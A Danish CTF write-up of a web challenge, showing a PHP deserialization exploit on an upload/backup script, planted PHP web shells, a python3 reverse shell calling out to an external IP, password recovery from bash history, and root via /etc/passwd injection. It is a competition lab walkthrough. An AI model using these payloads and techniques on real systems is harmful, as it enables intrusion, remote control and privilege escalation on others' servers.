Class fileuploadedbackup{ public $filename; public $filecontent; public $fileextension; function __wakeup(){ if(isset($this->filename) && isset($this->filecontent)){ $myfile = fopen("./images/".$this->filename, "w") or die("Unable to open file!"); fwrite($myfile, base64_decode($this->filecontent)); fclose($myfile); echo("image restored from backup, good job devloper :'-)"); } } function backup(){ $myfile = fopen("./backupzz/".$this->filename.".bak", "w") or die("Unable to open file!"); fwrite($myfile, serialize($this)); fclose($myfile); } }
backup
functionen gemmer en serialiseret version af objected i en fil i backupzz/
.
Kigger man længere nede kan man se at der er nogle forskellige checks.
Hvis der bliver sendt POST request med en fil der en endelsen .png
, så bliver der lavet et backup af filen.
Hvis der bliver sendt en GET request med parameteret frombackup
, så restorerer den indholdet ved at deserialisere indholdet.
if(isset($_POST['Submit1'])) { $image=$_FILES['file']; $extension = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION); if( $extension=='png') { $backup = new fileuploadedbackup; $backup->filename = $image['name']; $backup->filecontent = base64_encode(file_get_contents($image['tmp_name'], true)); $backup->extension = $extension; move_uploaded_file($image['tmp_name'],"images/".$image['name']); $backup->backup(); echo("omg its <a href='./file.php?file=".$image['name']."'> HERE!!</a>"); } else { echo "File is not image"; } } #restore from backup if(isset($_GET['frombackup'])) { $backupfile = "./backupzz/".$_GET['frombackup']; $content = file_get_contents($backupfile, true); echo($content); unserialize($content); }
Og det er måske fint nok, der bliver jo tjekket om det er en png
fil ik?
Jo, men ikke ordentligt.
Hvilket gør at vi kan lave et PHP deserialization angreb, og køre vores egen kode på serveren.
Det var første gang jeg var stødt på sådan en fejl, så havde ikke helt styr på hvordan det helt fungerede…
7.1. Unintended løsning
Så efter at have bikset rundt med det i lidt tid besluttede jeg mig for at se hvad der var i backup folderen.
Og her fandt jeg GULD, eller en unintended løsning…
Det viser sig at challenge authored havde glemt at fjerne hans egen bagdør inden at han blev færdig.
Filen evil.png.png.bak
er en PHP shell, men pakket ind sådan at at det passer med PHP klassen.
O:18:"fileuploadedbackup":4:{s:8:"filename";s:12:"evil.png.png";s:11:"filecontent";s:724:"TzoxODoiZmlsZXVwbG9hZGVkYmFja3VwIjo0OntzOjg6ImZpbGVuYW1lIjtzOjEyOiJ2ZXJ5Y29vbC5waHAiO3M6MTE6ImZpbGVjb250ZW50IjtzOjQwMDoiUEdoMGJXdytDanhpYjJSNVBnbzhabTl5YlNCdFpYUm9iMlE5SWtkRlZDSWdibUZ0WlQwaVBEOXdhSEFnWldOb2J5QmlZWE5sYm1GdFpTZ2tYMU5GVWxaRlVsc25VRWhRWDFORlRFWW5YU2s3SUQ4K0lqNEtQR2x1Y0hWMElIUjVjR1U5SWxSRldGUWlJRzVoYldVOUltTnRaQ0lnWVhWMGIyWnZZM1Z6SUdsa1BTSmpiV1FpSUhOcGVtVTlJamd3SWo0S1BHbHVjSFYwSUhSNWNHVTlJbE5WUWsxSlZDSWdkbUZzZFdVOUlrVjRaV04xZEdVaVBnbzhMMlp2Y20wK0NqeHdjbVUrQ2p3L2NHaHdDaUFnSUNCcFppaHBjM05sZENna1gwZEZWRnNuWTIxa0oxMHBLUW9nSUNBZ2V3b2dJQ0FnSUNBZ0lITjVjM1JsYlNna1gwZEZWRnNuWTIxa0oxMHBPd29nSUNBZ2ZRby9QZ284TDNCeVpUNEtQQzlpYjJSNVBnbzhMMmgwYld3KyI7czoxMzoiZmlsZWV4dGVuc2lvbiI7TjtzOjk6ImV4dGVuc2lvbiI7czo0OiIucGhwIjt9";s:13:"fileextension";N;s:9:"extension";s:3:"png";}
Hvis vi base64 dekoder filecontent
, får vi et nyt serialiseret objekt.
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ echo TzoxODoiZmlsZXVwbG9hZGVkYmFja3VwIjo0OntzOjg6ImZpbGVuYW1lIjtzOjEyOiJ2ZXJ5Y29vbC5waHAiO3M6MTE6ImZpbGVjb250ZW50IjtzOjQwMDoiUEdoMGJXdytDanhpYjJSNVBnbzhabTl5YlNCdFpYUm9iMlE5SWtkRlZDSWdibUZ0WlQwaVBEOXdhSEFnWldOb2J5QmlZWE5sYm1GdFpTZ2tYMU5GVWxaRlVsc25VRWhRWDFORlRFWW5YU2s3SUQ4K0lqNEtQR2x1Y0hWMElIUjVjR1U5SWxSRldGUWlJRzVoYldVOUltTnRaQ0lnWVhWMGIyWnZZM1Z6SUdsa1BTSmpiV1FpSUhOcGVtVTlJamd3SWo0S1BHbHVjSFYwSUhSNWNHVTlJbE5WUWsxSlZDSWdkbUZzZFdVOUlrVjRaV04xZEdVaVBnbzhMMlp2Y20wK0NqeHdjbVUrQ2p3L2NHaHdDaUFnSUNCcFppaHBjM05sZENna1gwZEZWRnNuWTIxa0oxMHBLUW9nSUNBZ2V3b2dJQ0FnSUNBZ0lITjVjM1JsYlNna1gwZEZWRnNuWTIxa0oxMHBPd29nSUNBZ2ZRby9QZ284TDNCeVpUNEtQQzlpYjJSNVBnbzhMMmgwYld3KyI7czoxMzoiZmlsZWV4dGVuc2lvbiI7TjtzOjk6ImV4dGVuc2lvbiI7czo0OiIucGhwIjt9 | base64 -d O:18:"fileuploadedbackup":4:{s:8:"filename";s:12:"verycool.php";s:11:"filecontent";s:400:"PGh0bWw+Cjxib2R5Pgo8Zm9ybSBtZXRob2Q9IkdFVCIgbmFtZT0iPD9waHAgZWNobyBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7ID8+Ij4KPGlucHV0IHR5cGU9IlRFWFQiIG5hbWU9ImNtZCIgYXV0b2ZvY3VzIGlkPSJjbWQiIHNpemU9IjgwIj4KPGlucHV0IHR5cGU9IlNVQk1JVCIgdmFsdWU9IkV4ZWN1dGUiPgo8L2Zvcm0+CjxwcmU+Cjw/cGhwCiAgICBpZihpc3NldCgkX0dFVFsnY21kJ10pKQogICAgewogICAgICAgIHN5c3RlbSgkX0dFVFsnY21kJ10pOwogICAgfQo/Pgo8L3ByZT4KPC9ib2R5Pgo8L2h0bWw+";s:13:"fileextension";N;s:9:"extension";s:4:".php";}%
Og kigger vi igen på hvad den bliver lavet om til får vi en PHP web shell:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ echo "PGh0bWw+Cjxib2R5Pgo8Zm9ybSBtZXRob2Q9IkdFVCIgbmFtZT0iPD9waHAgZWNobyBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7ID8+Ij4KPGlucHV0IHR5cGU9IlRFWFQiIG5hbWU9ImNtZCIgYXV0b2ZvY3VzIGlkPSJjbWQiIHNpemU9IjgwIj4KPGlucHV0IHR5cGU9IlNVQk1JVCIgdmFsdWU9IkV4ZWN1dGUiPgo8L2Zvcm0+CjxwcmU+Cjw/cGhwCiAgICBpZihpc3NldCgkX0dFVFsnY21kJ10pKQogICAgewogICAgICAgIHN5c3RlbSgkX0dFVFsnY21kJ10pOwogICAgfQo/Pgo8L3ByZT4KPC9ib2R5Pgo8L2h0bWw+" | base64 -d <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html>%
Så hvis vi prøver at gendanne denne fil fra backup 2 gange, så får vi vores egen shell på maskinen!
Dette kan gøre ved hjælp af 2 curl kommandoer:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ curl "http://mrbeefs-bestilling.hkn/upload.php?frombackup=evil.png.png.bak" <html> <head> <title>PHP File type check example</title> </head> <body> <form action="upload.php" enctype="multipart/form-data" method="post"> Select image hehehe: <input type="file" name="file"><br/> <input type="submit" value="Upload" name="Submit1"> </form> O:18:"fileuploadedbackup":4:{s:8:"filename";s:12:"evil.png.png";s:11:"filecontent";s:724:"TzoxODoiZmlsZXVwbG9hZGVkYmFja3VwIjo0OntzOjg6ImZpbGVuYW1lIjtzOjEyOiJ2ZXJ5Y29vbC5waHAiO3M6MTE6ImZpbGVjb250ZW50IjtzOjQwMDoiUEdoMGJXdytDanhpYjJSNVBnbzhabTl5YlNCdFpYUm9iMlE5SWtkRlZDSWdibUZ0WlQwaVBEOXdhSEFnWldOb2J5QmlZWE5sYm1GdFpTZ2tYMU5GVWxaRlVsc25VRWhRWDFORlRFWW5YU2s3SUQ4K0lqNEtQR2x1Y0hWMElIUjVjR1U5SWxSRldGUWlJRzVoYldVOUltTnRaQ0lnWVhWMGIyWnZZM1Z6SUdsa1BTSmpiV1FpSUhOcGVtVTlJamd3SWo0S1BHbHVjSFYwSUhSNWNHVTlJbE5WUWsxSlZDSWdkbUZzZFdVOUlrVjRaV04xZEdVaVBnbzhMMlp2Y20wK0NqeHdjbVUrQ2p3L2NHaHdDaUFnSUNCcFppaHBjM05sZENna1gwZEZWRnNuWTIxa0oxMHBLUW9nSUNBZ2V3b2dJQ0FnSUNBZ0lITjVjM1JsYlNna1gwZEZWRnNuWTIxa0oxMHBPd29nSUNBZ2ZRby9QZ284TDNCeVpUNEtQQzlpYjJSNVBnbzhMMmgwYld3KyI7czoxMzoiZmlsZWV4dGVuc2lvbiI7TjtzOjk6ImV4dGVuc2lvbiI7czo0OiIucGhwIjt9";s:13:"fileextension";N;s:9:"extension";s:3:"png";}image restored from backup, good job devloper :'-)% ┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ curl "http://mrbeefs-bestilling.hkn/upload.php?frombackup=../images/evil.png.png" <html> <head> <title>PHP File type check example</title> </head> <body> <form action="upload.php" enctype="multipart/form-data" method="post"> Select image hehehe: <input type="file" name="file"><br/> <input type="submit" value="Upload" name="Submit1"> </form> O:18:"fileuploadedbackup":4:{s:8:"filename";s:12:"verycool.php";s:11:"filecontent";s:400:"PGh0bWw+Cjxib2R5Pgo8Zm9ybSBtZXRob2Q9IkdFVCIgbmFtZT0iPD9waHAgZWNobyBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7ID8+Ij4KPGlucHV0IHR5cGU9IlRFWFQiIG5hbWU9ImNtZCIgYXV0b2ZvY3VzIGlkPSJjbWQiIHNpemU9IjgwIj4KPGlucHV0IHR5cGU9IlNVQk1JVCIgdmFsdWU9IkV4ZWN1dGUiPgo8L2Zvcm0+CjxwcmU+Cjw/cGhwCiAgICBpZihpc3NldCgkX0dFVFsnY21kJ10pKQogICAgewogICAgICAgIHN5c3RlbSgkX0dFVFsnY21kJ10pOwogICAgfQo/Pgo8L3ByZT4KPC9ib2R5Pgo8L2h0bWw+";s:13:"fileextension";N;s:9:"extension";s:4:".php";}image restored from backup, good job devloper :'-)%
Vi kan bekræfte t det virkede ved at se indholdet af images/
mappen:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ curl "http://mrbeefs-bestilling.hkn/images/" -s | grep -E "(png|php)" | cut -d '"' -f 8 evil.png.png mrbeef.png serial.png verycool.php
Herefter ville vi så kunne bruge verycool.php
til at få adgang til systemet.
Men har efter konkurrencen, fået det tiltænkte angreb til at virke!
7.2. Serialize from scratch
For at kunne angribe maskinen ved hjælp af PHP deserialization har jeg lavet følgende PHP script:
<?php class fileuploadedbackup{ public $filename; public $filecontent; public $fileextension; function __wakeup(){ } function backup(){ } } $exploit = new fileuploadedbackup(); $exploit->filename = 'shell.php'; $exploit->extension = 'php'; $exploit->filecontent = base64_encode('<?php $out = null; $ret = null; exec($_GET[\'cmd\'], $out, $ret); echo "Status code: $ret\nOut:\n"; print_r($out) ?> '); echo serialize($exploit); ?>
Vi skal serialiserer et objekt så det er identisk med ethvert andet objekt, der ville blive deserialiseret af serveren.
Så jeg kopierede klassen over, og i mit script og smed indholdet af de funktioner ud.
Efter at lave et objekt, og sætte filindholdet til at være en PHP webshell er jeg pretty much good to go!
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ php exploit_class.php > serial.png
Nu skal vi bare uploade serial.png
, og prøve at lave backup fra den fil!
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ curl "http://mrbeefs-bestilling.hkn/upload.php?frombackup=../images/serial.png" <html> <head> <title>PHP File type check example</title> </head> <body> <form action="upload.php" enctype="multipart/form-data" method="post"> Select image hehehe: <input type="file" name="file"><br/> <input type="submit" value="Upload" name="Submit1"> </form> O:18:"fileuploadedbackup":4:{s:8:"filename";s:9:"shell.php";s:11:"filecontent";s:156:"PD9waHAKJG91dCA9IG51bGw7CiRyZXQgPSBudWxsOwpleGVjKCRfR0VUWydjbWQnXSwgJG91dCwgJHJldCk7CmVjaG8gIlN0YXR1cyBjb2RlOiAkcmV0XG5PdXQ6XG4iOwpwcmludF9yKCRvdXQpCj8+Cg==";s:13:"fileextension";N;s:9:"extension";s:3:"php";}image restored from backup, good job devloper :'-)%
Og så har vi en web shell ved /images/shell.php
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ] └─> $ curl "http://mrbeefs-bestilling.hkn/images/shell.php?cmd=whoami" Status code: 0 Out: Array ( [0] => www-data )
Nu kan vi lave en reverse shell og få en stabil forbindelse med vores mål!
Efter at snuse lidt omkring, fandt jeg ud af at der var python3
på serveren.
Så jeg brugte denne python3
reverse shell:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("25.153.240.226",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Gennem browseren da curl ikke lige funkede…
I baggrunden havde jeg en netcat server kørende på port 1337, hvor der efterfølgende kom forbindelse igennem.
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals ] └─> $ nc -lnvp 1337 Connection from 25.153.240.1:51454 /bin/sh: 0: can't access tty; job control turned off $
Med en mere solid shell, kan vi kigge lidt omkring på fil systemet!
I mrbeef
's hjemme folder, kan vi finde et password!
$ python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@1fe46c6cc223:/home/mrbeef$ ls -la ls -la total 32 drwxr-xr-x 1 mrbeef mrbeef 4096 Mar 24 10:23 . drwxr-xr-x 1 root root 4096 Mar 24 10:23 .. -rw-r--r-- 1 mrbeef mrbeef 1262 Mar 24 10:22 .bash_history -rw-r--r-- 1 mrbeef mrbeef 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 mrbeef mrbeef 3771 Apr 4 2018 .bashrc -rw-r--r-- 1 mrbeef mrbeef 807 Apr 4 2018 .profile -rw-rw-rw- 1 mrbeef mrbeef 925 Mar 24 10:22 beef.txt -rw-r--r-- 1 root root 181 Mar 24 10:22 kobebeef.py www-data@1fe46c6cc223:/home/mrbeef$ cat .bash_history cat .bash_history ls cd /home ls sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /root/beef.txt cd mrbeef ls sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /root/lovebeef.txt ls -la history ls ls -la history sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /var/www/html/beef.txt ls -la exit find / -name beef hvorfuckerbeef.exe sudo -l sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /usr/bin/beef.txt find / -name kobebeef aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa sud o/usr/bin/python3 /home/mrbeef/kobebeef.py /tmp/beef.txt givmigbeef1337 sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /rootybeefhahaha.txt find / -name kobebeef ls -la sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /bbbbbeeeeefffff.txt sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /bbbbbeeeeefffff.txtt sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /bbbbbeeeeefffff.txttt sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /bbbbbeeeeefffff.txtttt sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /bbbbbeeeeefffff.txttttt cd /tmp ls -la cd /home sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /eeeeeeeeeeehehehhehehhehehhehhe.txt ls -la find / -name kobebeef selfdestruct ej det bare gas find / -name kobebeef sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /oknudetnokbeef.txt exit www-data@1fe46c6cc223:/home/mrbeef$
Efter et fejl forsøg på at bruge sudo
kommer han til at leake sin kode: givmigbeef1337
!
www-data@1fe46c6cc223:/home/mrbeef$ su mrbeef su mrbeef Password: givmigbeef1337 $ python3 -c "import pty;pty.spawn('/bin/bash')" python3 -c "import pty;pty.spawn('/bin/bash')" mrbeef@1fe46c6cc223:~$
En anden ting af interesse i bash historien er kobebeef.py
scriptet.
Hvis vi studere indholdet kan vi se at der læses fra filen beef.txt
, og bliver skrevet i den fil vi angiver som argument:
mrbeef@1fe46c6cc223:~$ cat kobebeef.py cat kobebeef.py import sys tobeef = sys.argv[1] thebeef = "" with open("/home/mrbeef/beef.txt","r") as inp: thebeef = inp.read() with open(tobeef,"w") as outp: outp.write(thebeef)mrbeef@1fe46c6cc223:~$
Dette kan bruges til at elavere vores rolle på serveren!
For at forstå hvordan, er det vigtigt at kigge på hvem der har adgang til filerne!
mrbeef@1fe46c6cc223:~$ ls -l ls -l total 8 -rw-rw-rw- 1 mrbeef mrbeef 925 Mar 24 10:22 beef.txt -rw-r--r-- 1 root root 181 Mar 24 10:22 kobebeef.py mrbeef@1fe46c6cc223:~$
Se, vi kan både læse og skrive til beef.txt
, men kun læse kobebeef.py
.
Og scriptet er det eneste vi kan køre med sudo
:
mrbeef@1fe46c6cc223:~$ sudo -l sudo -l [sudo] password for mrbeef: givmigbeef1337 Matching Defaults entries for mrbeef on 1fe46c6cc223: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User mrbeef may run the following commands on 1fe46c6cc223: (ALL : ALL) /usr/bin/python3 /home/mrbeef/kobebeef.py * mrbeef@1fe46c6cc223:~$
Vi kan ved at ændre i /etc/passwd
tilføje en ny root bruger og dermed få root på systemet.
Dette er muligt da vi kan kopiere passwd
filen ind i beef.txt
:
mrbeef@1fe46c6cc223:~$ cp /etc/passwd beef.txt cp /etc/passwd beef.txt mrbeef@1fe46c6cc223:~$ cat beef.txt cat beef.txt root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin mrbeef:x:1000:1000::/home/mrbeef:/bin/sh
Nu kan vi tilføje vores egen bruger, først laver vi et password med openssl
, dette indsættes i vores egen række i beef.txt
sådan det passer med de andre linjer:
mrbeef@1fe46c6cc223:~$ openssl passwd -1 -salt hacker hacker openssl passwd -1 -salt hacker hacker $1$hacker$TzyKlv0/R/c28R.GAeLw.1 mrbeef@1fe46c6cc223:~$ echo -n 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:/root:/bin/bash' >> beef.txt <lv0/R/c28R.GAeLw.1:0:0:/root:/bin/bash' >> beef.txt
Nu skal vi bare køre kobebeef.py
med sudo
og /etc/passwd
som argument.
Herefter kan vi skifte til hacker brugeren.
mrbeef@1fe46c6cc223:~$ sudo /usr/bin/python3 /home/mrbeef/kobebeef.py /etc/passwd <sr/bin/python3 /home/mrbeef/kobebeef.py /etc/passwd mrbeef@1fe46c6cc223:~$ su hacker su hacker Password: hacker # whoami whoami root #
Nu skal vi blot navigere hen til root folder og finde flaget:
# cd /root cd /root # ls ls beef.txt flag.txt lovebeef.txt # cat flag.txt cat flag.txt DDC{mrbeef_sk4l_b4re_h4ve_d3t_h3l3_du} #
Og der har vi flaget for mrbeef's bestilling: DDC{mrbeef_sk4l_b4re_h4ve_d3t_h3l3_du}
8. Final words
Thank you for taking some time out of your day to read this post.
If you enjoyed this post, feel free to join my Discord server to get notification whenever I post something and ask questions if there are any.